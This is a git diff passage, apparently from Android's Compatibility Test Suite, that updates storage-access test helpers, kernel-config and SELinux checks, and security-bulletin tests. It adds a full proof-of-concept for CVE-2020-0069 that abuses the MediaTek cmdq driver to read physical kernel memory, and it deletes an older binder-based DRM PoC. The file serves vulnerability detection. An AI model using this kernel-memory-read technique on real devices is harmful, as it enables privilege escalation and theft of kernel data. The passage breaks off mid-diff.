+        return queryImageFile(file).getCount() == 1 || queryVideoFile(file).getCount() == 1;
+    }
+
     private static void assertIsMediaTypeImage(File file) {
         final Cursor c = queryImageFile(file);
         assertEquals(1, c.getCount());
@@ -2108,7 +2898,11 @@
         assertEquals(0, c.getCount());
     }
 
-    private static void assertCantQueryFile(File file) { assertThat(getFileUri(file)).isNull(); }
+    private static void assertCantQueryFile(File file) {
+        assertThat(getFileUri(file)).isNull();
+        // Confirm that file exists in the database.
+        assertNotNull(MediaStore.scanFile(getContentResolver(), file));
+    }
 
     private static void assertCreateFilesAs(TestApp testApp, File... files) throws Exception {
         for (File file : files) {
@@ -2116,11 +2910,60 @@
         }
     }
 
+    /**
+     * Makes {@code testApp} create {@code files}. Publishes {@code files} by scanning the file.
+     * Pending files from FUSE are not visible to other apps via MediaStore APIs. We have to publish
+     * the file or make the file non-pending to make the file visible to other apps.
+     * <p>
+     * Note that this method can only be used for scannable files.
+     */
+    private static void assertCreatePublishedFilesAs(TestApp testApp, File... files)
+            throws Exception {
+        for (File file : files) {
+            assertThat(createFileAs(testApp, file.getPath())).isTrue();
+            assertNotNull(MediaStore.scanFile(getContentResolver(), file));
+        }
+    }
+
+
     private static void deleteFilesAs(TestApp testApp, File... files) throws Exception {
         for (File file : files) {
             deleteFileAs(testApp, file.getPath());
         }
     }
+    private static void assertCanDeletePathsAs(TestApp testApp, String... filePaths)
+            throws Exception {
+        for (String path: filePaths) {
+            assertTrue(deleteFileAs(testApp, path));
+        }
+    }
+
+    private static void assertCantDeletePathsAs(TestApp testApp, String... filePaths)
+            throws Exception {
+        for (String path: filePaths) {
+            assertFalse(deleteFileAs(testApp, path));
+        }
+    }
+
+    private void deleteFiles(File... files) {
+        for (File file: files) {
+            if (file == null) continue;
+            file.delete();
+        }
+    }
+
+    private void deletePaths(String... paths) {
+        for (String path: paths) {
+            if (path == null) continue;
+            new File(path).delete();
+        }
+    }
+
+    private static void assertCanDeletePaths(String... filePaths) {
+        for (String filePath : filePaths) {
+            assertTrue(new File(filePath).delete());
+        }
+    }
 
     /**
      * For possible values of {@code mode}, look at {@link android.content.ContentProvider#openFile}
@@ -2208,22 +3051,47 @@
         assertAccess(file, true, true, true);
     }
 
-    private static void assertDirectoryAccess(File dir, boolean exists) throws Exception {
+    private static void assertDirectoryAccess(File dir, boolean exists, boolean canWrite)
+            throws Exception {
         // This util does not handle app data directories.
-        assumeFalse(dir.getAbsolutePath().startsWith(ANDROID_DIR.getAbsolutePath())
-                && !dir.equals(ANDROID_DIR));
+        assumeFalse(dir.getAbsolutePath().startsWith(getAndroidDir().getAbsolutePath())
+                && !dir.equals(getAndroidDir()));
         assertThat(dir.isDirectory()).isEqualTo(exists);
-        // For non-app data directories, exists => canRead() and canWrite().
-        assertAccess(dir, exists, exists, exists);
+        // For non-app data directories, exists => canRead().
+        assertAccess(dir, exists, exists, exists && canWrite);
     }
 
     private static void assertAccess(File file, boolean exists, boolean canRead, boolean canWrite)
             throws Exception {
-        assertThat(file.exists()).isEqualTo(exists);
+        assertAccess(file, exists, canRead, canWrite, true /* checkExists */);
+    }
+
+    private static void assertCannotReadOrWrite(File file)
+            throws Exception {
+        // App data directories have different 'x' bits on upgrading vs new devices. Let's not
+        // check 'exists', by passing checkExists=false. But assert this app cannot read or write
+        // the other app's file.
+        assertAccess(file, false /* value is moot */, false /* canRead */,
+                false /* canWrite */, false /* checkExists */);
+    }
+
+    private static void assertCanAccessMyAppFile(File file)
+            throws Exception {
+        assertAccess(file, true, true /* canRead */,
+                true /*canWrite */, true /* checkExists */);
+    }
+
+    private static void assertAccess(File file, boolean exists, boolean canRead, boolean canWrite,
+            boolean checkExists) throws Exception {
+        if (checkExists) {
+            assertThat(file.exists()).isEqualTo(exists);
+        }
         assertThat(file.canRead()).isEqualTo(canRead);
         assertThat(file.canWrite()).isEqualTo(canWrite);
         if (file.isDirectory()) {
-            assertThat(file.canExecute()).isEqualTo(exists);
+            if (checkExists) {
+                assertThat(file.canExecute()).isEqualTo(exists);
+            }
         } else {
             assertThat(file.canExecute()).isFalse(); // Filesytem is mounted with MS_NOEXEC
         }
@@ -2233,7 +3101,10 @@
         assertAccess(file, W_OK, canWrite);
         assertAccess(file, R_OK | W_OK, canRead && canWrite);
         assertAccess(file, W_OK | F_OK, canWrite);
-        assertAccess(file, F_OK, exists);
+
+        if (checkExists) {
+            assertAccess(file, F_OK, exists);
+        }
     }
 
     private static void assertAccess(File file, int mask, boolean expected) throws Exception {
diff --git a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java b/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
index 9eb5241..55837e4 100644
--- a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
+++ b/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
@@ -218,6 +218,7 @@
         put("Kirin970", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
         put("Kirin810", null);
         put("Kirin710", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
+        put("SDMMAGPIE", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
         put("SM6150", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
         put("SM7150", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
         put("LITO", null);
@@ -227,6 +228,7 @@
         put("SDM429", null);
         put("SDM439", null);
         put("QM215", null);
+        put("BENGAL", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
         put("DEFAULT", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y",
             "CONFIG_UNMAP_KERNEL_AT_EL0=y"});
     }};
@@ -281,6 +283,7 @@
         final Set<String> ALLOWED_PATH_PREFIXES = new HashSet<String>();
         ALLOWED_PATH_PREFIXES.add("/vendor/");
         ALLOWED_PATH_PREFIXES.add("/system/");
+        ALLOWED_PATH_PREFIXES.add("/system_ext/");
 
         assertTrue("Linux kernel must enable static usermodehelper: " + ENABLE_CONFIG,
             configSet.contains(ENABLE_CONFIG));
@@ -294,7 +297,7 @@
         }
 
         int index = configPath.indexOf('=');
-        String path = configPath.substring(index+1);
+        String path = configPath.substring(index+1).replace("\"", "");
 
         assertTrue("Linux kernel must specify an absolute path for static usermodehelper path",
             configPath.contains("..") == false);
diff --git a/hostsidetests/security/src/android/security/cts/PerfEventParanoidTest.java b/hostsidetests/security/src/android/security/cts/PerfEventParanoidTest.java
index 7ede5a7..e285d99 100644
--- a/hostsidetests/security/src/android/security/cts/PerfEventParanoidTest.java
+++ b/hostsidetests/security/src/android/security/cts/PerfEventParanoidTest.java
@@ -15,43 +15,63 @@
  */
 package android.security.cts;
 
+import com.android.compatibility.common.util.CddTest;
+import com.android.compatibility.common.util.PropertyUtil;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.testtype.DeviceTestCase;
 
+/**
+ * Tests permission/security controls of the perf_event_open syscall.
+ */
 public class PerfEventParanoidTest extends DeviceTestCase {
 
-   /**
-    * a reference to the device under test.
-    */
+    // A reference to the device under test.
     private ITestDevice mDevice;
 
     private static final String PERF_EVENT_PARANOID_PATH = "/proc/sys/kernel/perf_event_paranoid";
     private static final String PERF_EVENT_LSM_SYSPROP = "sys.init.perf_lsm_hooks";
 
+    private static final int ANDROID_R_API_LEVEL = 30;
+
     @Override
     protected void setUp() throws Exception {
         super.setUp();
         mDevice = getDevice();
     }
 
+    @CddTest(requirement="9.7")
     public void testPerfEventRestricted() throws DeviceNotAvailableException {
-      // Property set to "1" if init detected that the kernel has the perf_event_open SELinux hooks,
-      // otherwise left unset.
-      long lsmHookPropValue = mDevice.getIntProperty(PERF_EVENT_LSM_SYSPROP, 0);
+        // Property set to "1" if init detected that the kernel has the perf_event_open SELinux
+        // hooks, otherwise left unset.
+        long lsmHookPropValue = mDevice.getIntProperty(PERF_EVENT_LSM_SYSPROP, 0);
 
-      String paranoidCmd = "cat " + PERF_EVENT_PARANOID_PATH;
-      String paranoidOut = mDevice.executeShellCommand(paranoidCmd);
+        // Contents of the perf_event_paranoid sysctl procfs file.
+        String paranoidCmd = "cat " + PERF_EVENT_PARANOID_PATH;
+        String paranoidOut = mDevice.executeShellCommand(paranoidCmd);
 
-      if (lsmHookPropValue != 1 && !paranoidOut.equals("3\n")) {
-        fail("\nDevice required to have either:\n"
-            + " (a) SELinux hooks for the perf_event_open(2) syscall\n"
-            + " (b) /proc/sys/kernel/perf_event_paranoid=3\n"
-            + "For (a), apply the relevant patch for your kernel located here:\n"
-            + "https://android-review.googlesource.com/q/hashtag:perf_event_lsm\n"
-            + "For (b), apply the relevant patch for your kernel located here:\n"
-            + "https://android-review.googlesource.com/#/q/topic:CONFIG_SECURITY_PERF_EVENTS_RESTRICT\n"
-            + "Device values: SELinux=" + lsmHookPropValue + ", paranoid=" + paranoidOut);
-      }
+        if (PropertyUtil.getFirstApiLevel(mDevice) >= ANDROID_R_API_LEVEL) {
+            // On devices launching with Android R or above, the kernel must have the LSM hooks.
+            if (lsmHookPropValue != 1) {
+                fail("\nDevices launching with Android R or above are required to have SELinux "
+                        + "hooks for the perf_event_open(2) syscall.\n"
+                        + "Please apply the relevant patch for your kernel located here:\n"
+                        + "https://android-review.googlesource.com/q/hashtag:perf_event_lsm");
+            }
+        } else {
+            // Devices upgrading to Android R can have either the LSM hooks, or
+            // default to perf_event_paranoid=3.
+            if (lsmHookPropValue != 1 && !paranoidOut.equals("3\n")) {
+                fail("\nDevice required to have either:\n"
+                        + " (a) SELinux hooks for the perf_event_open(2) syscall\n"
+                        + " (b) /proc/sys/kernel/perf_event_paranoid=3\n"
+                        + "For (a), apply the relevant patch for your kernel located here:\n"
+                        + "https://android-review.googlesource.com/q/hashtag:perf_event_lsm\n"
+                        + "For (b), apply the relevant patch for your kernel located here:\n"
+                        + "https://android-review.googlesource.com/#/q/topic:CONFIG_SECURITY_PERF_EVENTS_RESTRICT\n"
+                        + "Device values: SELinux=" + lsmHookPropValue
+                        + ", paranoid=" + paranoidOut);
+            }
+        }
     }
 }
diff --git a/hostsidetests/security/src/android/security/cts/ProcessMustUseSeccompTest.java b/hostsidetests/security/src/android/security/cts/ProcessMustUseSeccompTest.java
index b5a456c..1f1772b 100644
--- a/hostsidetests/security/src/android/security/cts/ProcessMustUseSeccompTest.java
+++ b/hostsidetests/security/src/android/security/cts/ProcessMustUseSeccompTest.java
@@ -101,8 +101,18 @@
 
     private void assertSeccompFilter(String Name, String Cmd, boolean prefix)
                 throws DeviceNotAvailableException {
+        assertSeccompFilter(Name, Cmd, prefix, true /* mustHaveProcess */);
+    }
+
+    private void assertSeccompFilter(String Name, String Cmd, boolean prefix, boolean mustHaveProcess)
+                throws DeviceNotAvailableException {
         String Pid = getPidFromCmd(Name, Cmd, prefix);
-        assertFalse(Name + " process not found.", Pid.equals(""));
+        boolean processFound = !Pid.equals("");
+        if (!processFound && !mustHaveProcess) {
+            // don't bother if the existence of the process isn't guaranteed
+            return;
+        }
+        assertTrue(Name + " process not found.", processFound);
         assertTrue(Name + " must have a seccomp filter enabled.\n"
                    + "The \"Seccomp\" field of " + Name + "'s "
                    + "/proc/" + Pid + "/status file should be set to \"2\"",
@@ -111,7 +121,8 @@
 
     public void testConfigStoreHalHasSeccompFilter() throws DeviceNotAvailableException {
         if (CpuFeatures.isArm64(mDevice)) {
-            assertSeccompFilter("android.hardware.configstore", PS_CMD, true);
+            assertSeccompFilter("android.hardware.configstore", PS_CMD, true,
+                    false /* mustHaveProcess */);
         }
     }
 
diff --git a/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java b/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
index 6b7dd04..de90629 100644
--- a/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
+++ b/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
@@ -1258,10 +1258,11 @@
         assertDomainZeroOrOne("u:r:wpa:s0", "/system/bin/wpa_supplicant");
     }
 
-    /* permissioncontroller may or may not be running */
+    /* permissioncontroller, if running, always runs in permissioncontroller_app */
     @CddTest(requirement="9.7")
     public void testPermissionControllerDomain() throws DeviceNotAvailableException {
-        assertDomainZeroOrOne("u:r:permissioncontroller_app:s0", "com.google.android.permissioncontroller");
+        assertExecutableHasDomain("com.google.android.permissioncontroller", "u:r:permissioncontroller_app:s0");
+        assertExecutableHasDomain("com.android.permissioncontroller", "u:r:permissioncontroller_app:s0");
     }
 
     /* vzwomatrigger may or may not be running */
diff --git a/hostsidetests/securitybulletin/Android.bp b/hostsidetests/securitybulletin/Android.bp
index 6a574c9..f17395e 100644
--- a/hostsidetests/securitybulletin/Android.bp
+++ b/hostsidetests/securitybulletin/Android.bp
@@ -53,4 +53,8 @@
         "vts10",
         "sts",
     ],
+    cflags: [
+        "-Wall",
+        "-Werror",
+    ],
 }
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index fe1e89c..8140dab 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -43,7 +43,6 @@
         <option name="push" value="CVE-2016-8431->/data/local/tmp/CVE-2016-8431" />
         <option name="push" value="CVE-2016-8432->/data/local/tmp/CVE-2016-8432" />
         <option name="push" value="CVE-2016-8434->/data/local/tmp/CVE-2016-8434" />
-        <option name="push" value="Bug-137282168->/data/local/tmp/Bug-137282168" />
         <option name="push" value="Bug-137878930->/data/local/tmp/Bug-137878930" />
 
         <!--__________________-->
@@ -197,6 +196,11 @@
         <option name="push" value="Bug-115739809->/data/local/tmp/Bug-115739809" />
         <option name="push" value="CVE-2019-2025->/data/local/tmp/CVE-2019-2025" />
 
+        <!--__________________-->
+        <!-- Bulletin 2020-03 -->
+        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2020-0069->/data/local/tmp/CVE-2020-0069" />
+
         <option name="append-bitness" value="true" />
     </target_preparer>
 
diff --git a/hostsidetests/securitybulletin/OWNERS b/hostsidetests/securitybulletin/OWNERS
index ca82a6a..68945d3 100644
--- a/hostsidetests/securitybulletin/OWNERS
+++ b/hostsidetests/securitybulletin/OWNERS
@@ -1,3 +1,4 @@
 # Bug component: 36824
 mspector@google.com
 samschumacher@google.com
+manjaepark@google.com
diff --git a/hostsidetests/securitybulletin/securityPatch/Bug-137282168/poc.cpp b/hostsidetests/securitybulletin/securityPatch/Bug-137282168/poc.cpp
deleted file mode 100644
index 0f27c1c..0000000
--- a/hostsidetests/securitybulletin/securityPatch/Bug-137282168/poc.cpp
+++ /dev/null
@@ -1,115 +0,0 @@
-/**
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#include <binder/IBinder.h>
-#include <binder/IServiceManager.h>
-#include <binder/Parcel.h>
-#include <utils/String16.h>
-#include <utils/String8.h>
-
-#include "../includes/common.h"
-
-using namespace android;
-
-static uint8_t pssh[28] = {
-    0,    0,    0,    28,                            // Total Size
-    'p',  's',  's',  'h',                           // PSSH
-    1,    0,    0,    0,                             // Version
-    0x10, 0x77, 0xef, 0xec, 0xc0, 0xb2, 0x4d, 0x02,  // System ID
-    0xac, 0xe3, 0x3c, 0x1e, 0x52, 0xe2, 0xfb, 0x4b,
-};
-
-static Vector<uint8_t> sessionId;
-
-static sp<IBinder> drmBinder;
-
-static void handler(int) {
-  ALOGI("Good, the test condition has been triggered");
-  exit(EXIT_VULNERABLE);
-}
-
-static void readVector(Parcel &reply, Vector<uint8_t> &vector) {
-  uint32_t size = reply.readInt32();
-  vector.insertAt((size_t)0, size);
-  reply.read(vector.editArray(), size);
-}
-
-static void writeVector(Parcel &data, Vector<uint8_t> const &vector) {
-  data.writeInt32(vector.size());
-  data.write(vector.array(), vector.size());
-}
-
-static void makeDrm() {
-  sp<IServiceManager> sm = defaultServiceManager();
-  sp<IBinder> mediaDrmBinder = sm->getService(String16("media.drm"));
-
-  Parcel data, reply;
-
-  data.writeInterfaceToken(String16("android.media.IMediaDrmService"));
-  mediaDrmBinder->transact(2 /* MAKE_DRM */, data, &reply, 0);
-
-  drmBinder = reply.readStrongBinder();
-}
-
-static void createPlugin() {
-  Parcel data, reply;
-
-  data.writeInterfaceToken(String16("android.drm.IDrm"));
-  uint8_t uuid[16] = {0x10, 0x77, 0xef, 0xec, 0xc0, 0xb2, 0x4d, 0x02,
-                      0xac, 0xe3, 0x3c, 0x1e, 0x52, 0xe2, 0xfb, 0x4b};
-  data.write(uuid, 16);
-  data.writeString8(String8("ele7enxxh"));
-
-  drmBinder->transact(3 /* CREATE_PLUGIN */, data, &reply, 0);
-}
-
-static void openSession() {
-  Parcel data, reply;
-
-  data.writeInterfaceToken(String16("android.drm.IDrm"));
-  data.writeInt32(1 /* SW_SECURE_CRYPTO */);  // level
-  drmBinder->transact(5 /* OPEN_SESSION */, data, &reply, 0);
-  readVector(reply, sessionId);
-}
-
-static void getKeyRequest() {
-  Parcel data, reply;
-
-  data.writeInterfaceToken(String16("android.drm.IDrm"));
-  Vector<uint8_t> initData;
-  initData.appendArray(pssh, sizeof(pssh));
-  writeVector(data, sessionId);
-  writeVector(data, initData);
-  data.writeString8(
-      String8("video/mp4") /* kIsoBmffVideoMimeType */);  // mimeType
-  data.writeInt32(1 /* KeyType::STREAMING */);            // keyType
-  data.writeInt32(0);                                     // count
-
-  drmBinder->transact(7 /*GET_KEY_REQUEST*/, data, &reply);
-}
-
-int main(void) {
-  signal(SIGABRT, handler);
-
-  makeDrm();
-
-  createPlugin();
-
-  openSession();
-
-  getKeyRequest();
-
-  return 0;
-}
diff --git a/hostsidetests/securitybulletin/securityPatch/Bug-137282168/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/Android.bp
similarity index 73%
rename from hostsidetests/securitybulletin/securityPatch/Bug-137282168/Android.bp
rename to hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/Android.bp
index e6fd1de..8ce25c1 100644
--- a/hostsidetests/securitybulletin/securityPatch/Bug-137282168/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/Android.bp
@@ -4,7 +4,7 @@
 // you may not use this file except in compliance with the License.
 // You may obtain a copy of the License at
 //
-//      http://www.apache.org/licenses/LICENSE-2.0
+//  	http://www.apache.org/licenses/LICENSE-2.0
 //
 // Unless required by applicable law or agreed to in writing, software
 // distributed under the License is distributed on an "AS IS" BASIS,
@@ -13,18 +13,11 @@
 // limitations under the License.
 
 cc_test {
-    name: "Bug-137282168",
+    name: "CVE-2020-0069",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp"],
-    shared_libs: [
-        "libbinder",
-        "liblog",
-        "libutils",
-    ],
+    srcs: ["poc.c"],
     cflags: [
         "-Wall",
         "-Werror",
-        "-Wno-unused-parameter",
-        "-Wno-unused-variable",
     ],
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/poc.c
new file mode 100644
index 0000000..3644490
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/poc.c
@@ -0,0 +1,275 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <ctype.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <stdbool.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+#include "../includes/common.h"
+
+static char *device_names[] = {"/dev/mtk_cmdq", "/proc/mtk_cmdq",
+                               "/dev/mtk_mdp"};
+
+#define CMDQ_IOCTL_ALLOC_WRITE_ADDRESS 0x40087807
+#define CMDQ_IOCTL_FREE_WRITE_ADDRESS 0x40087808
+// This is "most" of the IOCTL code, though the size field is left out as it
+// will be ORed in later when the specific value for this device has been
+// identified.
+#define CMDQ_IOCTL_EXEC_COMMAND 0x40007803
+
+struct cmdqWriteAddressStruct {
+  uint32_t count;
+  uint32_t address;
+};
+
+struct cmdqReadRegStruct {
+  uint32_t count;
+  uint64_t addresses;
+};
+
+struct cmdqRegValueStruct {
+  uint32_t count;
+  uint64_t values;
+};
+
+struct cmdqReadAddressStruct {
+  uint32_t count;
+  uint64_t addresses;
+  uint64_t values;
+};
+
+struct cmdqCommandStruct {
+  uint32_t value1;
+  uint32_t value2;
+  uint64_t value3;
+  uint64_t buffer;
+  uint32_t buffer_size;
+  struct cmdqReadRegStruct reg_request;
+  struct cmdqRegValueStruct reg_value;
+  struct cmdqReadAddressStruct read_address;
+  uint8_t padding[0x2f0 - 0x58];
+};
+
+typedef enum {
+  OperationSuccess,
+  OperationFailed,
+  OperationError,
+} OperationResult;
+
+#define SET_VALUE(x)                                                           \
+  instructions[command.buffer_size / 8] = (x);                                 \
+  command.buffer_size += 8;
+
+// This function identifies what the IOCTL command code should be
+// for EXEC_COMMAND, given that it varies depending on the structure size.
+OperationResult work_out_ioctl_code(int fd, int *ioctl_code) {
+  uint64_t instructions[0x100];
+  struct cmdqCommandStruct command;
+
+  memset(instructions, 0, sizeof(instructions));
+  memset(&command, 0, sizeof(command));
+
+  command.buffer = (uint64_t)&instructions;
+
+  // CMDQ_CODE_WFE
+  SET_VALUE(0x2000000080010000);
+  // CMDQ_CODE_EOC
+  SET_VALUE(0x4000000000000001);
+  // CMDQ_CODE_JUMP - argA is 0 and argB is 8, this is ok.
+  SET_VALUE(0x1000000000000008);
+
+  for (int ii = 0xa8; ii <= 0x2f0; ii += 8) {
+    int ioctl_result =
+        ioctl(fd, CMDQ_IOCTL_EXEC_COMMAND | (ii << 16), &command);
+
+    if ((-1 != ioctl_result) || (errno != ENOTTY)) {
+      *ioctl_code = CMDQ_IOCTL_EXEC_COMMAND | (ii << 16);
+      return OperationSuccess;
+    }
+  }
+
+  // Unable to identify the particular IOCTL code for this device.
+  return OperationError;
+}
+
+OperationResult perform_pa_read(int fd, int ioctl_code, uint32_t kernel_buffer,
+                                uint64_t address, unsigned char *buffer,
+                                size_t size) {
+  OperationResult result = OperationError;
+  uint64_t *instructions = NULL;
+  uint32_t *addresses = NULL;
+  struct cmdqCommandStruct command;
+  size_t num_words = size / 4;
+
+  if (size % 4) {
+    goto exit;
+  }
+
+  // Each command is 8 bytes, we require 5 commands for every 32 bits we try to
+  // read, plus another 4 for prologue/epilogue.
+  instructions = malloc((num_words * 5 + 4) * sizeof(uint64_t));
+  if (!instructions) {
+    goto exit;
+  }
+  // Another buffer to tell the driver where to read back from.
+  addresses = malloc(sizeof(uint32_t) * num_words);
+  if (!addresses) {
+    goto exit;
+  }
+  memset(&command, 0, sizeof(command));
+  command.buffer = (uint64_t)instructions;
+  command.read_address.count = size;
+  command.read_address.addresses = (uint64_t)addresses;
+  command.read_address.values = (uint64_t)buffer;
+
+  // CMDQ_CODE_WFE
+  SET_VALUE(0x2000000080010000);
+
+  for (size_t ii = 0; ii < num_words; ii++) {
+    addresses[ii] = kernel_buffer + (sizeof(uint32_t) * ii);
+
+    // CMDQ_CODE_MOVE - put DMA address into register
+    SET_VALUE(0x0297000000000000 | addresses[ii]);
+    // CMDQ_CODE_WRITE - write PA into DMA address
+    SET_VALUE(0x0497000000000000 | (address + sizeof(uint32_t) * ii));
+    // CMDQ_CODE_READ - read PA into register from DMA address
+    SET_VALUE(0x01d7000000000005);
+    // CMDQ_CODE_READ - read from PA into register
+    SET_VALUE(0x01c5000000000005);
+    // CMDQ_CODE_WRITE - write value into DMA address
+    SET_VALUE(0x04d7000000000005);
+  }
+
+  // CMDQ_CODE_WFE
+  SET_VALUE(0x2000000080010000);
+  // CMDQ_CODE_EOC
+  SET_VALUE(0x4000000000000001);
+  // CMDQ_CODE_JUMP - argA is 0 and argB is 8, this is ok.
+  SET_VALUE(0x1000000000000008);
+
+  switch (ioctl(fd, ioctl_code, &command)) {
+  case -1:
+    if (errno == EFAULT) {
+      // Command buffer rejected, the driver is patched.
+      result = OperationFailed;
+    }
+    // Something is wrong with the command buffer.  This may be a device
+    // type that has not been encountered during testing.
+    break;
+  case 0:
+    // Driver accepted the command buffer and did something with it.
+    result = OperationSuccess;
+    break;
+  }
+
+exit:
+  if (addresses) {
+    free(addresses);
+  }
+  if (instructions) {
+    free(instructions);
+  }
+  return result;
+}
+
+int main() {
+  int exit_code = EXIT_FAILURE;
+  int fd = -1;
+  unsigned char buffer[0x1000];
+  size_t read_size = 0x100;
+  struct cmdqWriteAddressStruct kernel_buffer = {read_size, 0};
+  int ioctl_code = 0;
+  bool command_accepted = false;
+  // Mediatek have given these as possible kernel base addresses for different
+  // devices.
+  unsigned long kernel_bases[] = {0x40008000, 0x40080000, 0x80008000};
+  unsigned long pa_length = 0x10000;
+
+  for (size_t ii = 0; ii < sizeof(device_names) / sizeof(device_names[0]);
+       ii++) {
+    fd = open(device_names[ii], O_RDONLY);
+    if (-1 == fd) {
+      // If we can't access the driver, then it's not vulnerable.
+      if (errno == EACCES) {
+        exit_code = EXIT_SUCCESS;
+        goto exit;
+      }
+    } else {
+      break;
+    }
+  }
+  if (-1 == fd) {
+    goto exit;
+  }
+
+  if (-1 == ioctl(fd, CMDQ_IOCTL_ALLOC_WRITE_ADDRESS, &kernel_buffer)) {
+    goto exit;
+  }
+
+  if (OperationSuccess != work_out_ioctl_code(fd, &ioctl_code)) {
+    goto exit;
+  }
+
+  for (size_t ii = 0; ii < sizeof(kernel_bases) / sizeof(kernel_bases[0]);
+       ii++) {
+    for (unsigned long pa = kernel_bases[ii]; pa < kernel_bases[ii] + pa_length;
+         pa += 0x1000) {
+      memset(buffer, 0, read_size);
+
+      switch (perform_pa_read(fd, ioctl_code, kernel_buffer.address, pa, buffer,
+                              read_size)) {
+      case OperationSuccess:
+        command_accepted = true;
+        for (size_t ii = 0; ii < read_size; ii++) {
+          if (buffer[ii] != 0) {
+            exit_code = EXIT_VULNERABLE;
+            goto exit;
+          }
+        }
+        break;
+      case OperationFailed:
+        exit_code = EXIT_SUCCESS;
+        break;
+      case OperationError:
+        break;
+      }
+    }
+  }
+
+  // If the driver accepted commands, but we didn't manage to read any data,
+  // then we failed to demonstrate a vulnerability.
+  if (command_accepted) {
+    exit_code = EXIT_SUCCESS;
+  }
+
+exit:
+  if (-1 != fd) {
+    if (kernel_buffer.address != 0) {
+      (void)ioctl(fd, CMDQ_IOCTL_FREE_WRITE_ADDRESS, &kernel_buffer);
+    }
+    (void)close(fd);
+  }
+
+  return exit_code;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/Android.bp b/hostsidetests/securitybulletin/securityPatch/includes/Android.bp
index 3f4087f..c20e845 100644
--- a/hostsidetests/securitybulletin/securityPatch/includes/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/includes/Android.bp
@@ -13,15 +13,22 @@
 // limitations under the License.
 
 filegroup {
-    name: "cts_securitybulletin_memutils",
+    name: "cts_hostsidetests_securitybulletin_memutils",
     srcs: [
         "memutils.c",
     ],
 }
 
 filegroup {
-    name: "cts_securitybulletin_omxutils",
+    name: "cts_hostsidetests_securitybulletin_omxutils",
     srcs: [
         "omxUtils.cpp",
     ],
 }
+
+filegroup {
+    name: "cts_hostsidetests_securitybulletin_memutils_track",
+    srcs: [
+        "memutils_track.c",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/memutils.c b/hostsidetests/securitybulletin/securityPatch/includes/memutils.c
index 650d2f6..65e1e90 100644
--- a/hostsidetests/securitybulletin/securityPatch/includes/memutils.c
+++ b/hostsidetests/securitybulletin/securityPatch/includes/memutils.c
@@ -61,6 +61,7 @@
     if (NULL == real_memalign) {
         return;
     }
+#ifndef DISABLE_MALLOC_OVERLOADING
     real_calloc = dlsym(RTLD_NEXT, "calloc");
     if (NULL == real_calloc) {
         return;
@@ -73,6 +74,7 @@
     if (NULL == real_realloc) {
         return;
     }
+#endif /* DISABLE_MALLOC_OVERLOADING */
     real_free = dlsym(RTLD_NEXT, "free");
     if (NULL == real_free) {
         return;
@@ -99,14 +101,6 @@
     size_t num_pages;
     size_t page_size = getpagesize();
 
-    /* User specified alignment is not respected and is overridden by
-     * "new_alignment". This is required to catch OOB read when read offset is
-     * less than user specified alignment. "new_alignment" is derived based on
-     * size_t, and helps to avoid bus errors due to non-aligned memory.
-     * "new_alignment", whenever used, is checked to ensure sizeof(size_t)
-     * has returned proper value                                            */
-    size_t new_alignment = sizeof(size_t);
-
     if (s_mem_map_index == MAX_ENTRIES) {
         return real_memalign(alignment, size);
     }
@@ -115,13 +109,16 @@
         return real_memalign(alignment, size);
     }
 
-    if ((0 == page_size) || (0 == alignment) || (0 == size)
-            || (0 == new_alignment)) {
+    if ((0 == page_size) || (0 == alignment) || (0 == size)) {
         return real_memalign(alignment, size);
     }
 #ifdef CHECK_OVERFLOW
-    if (0 != (size % new_alignment)) {
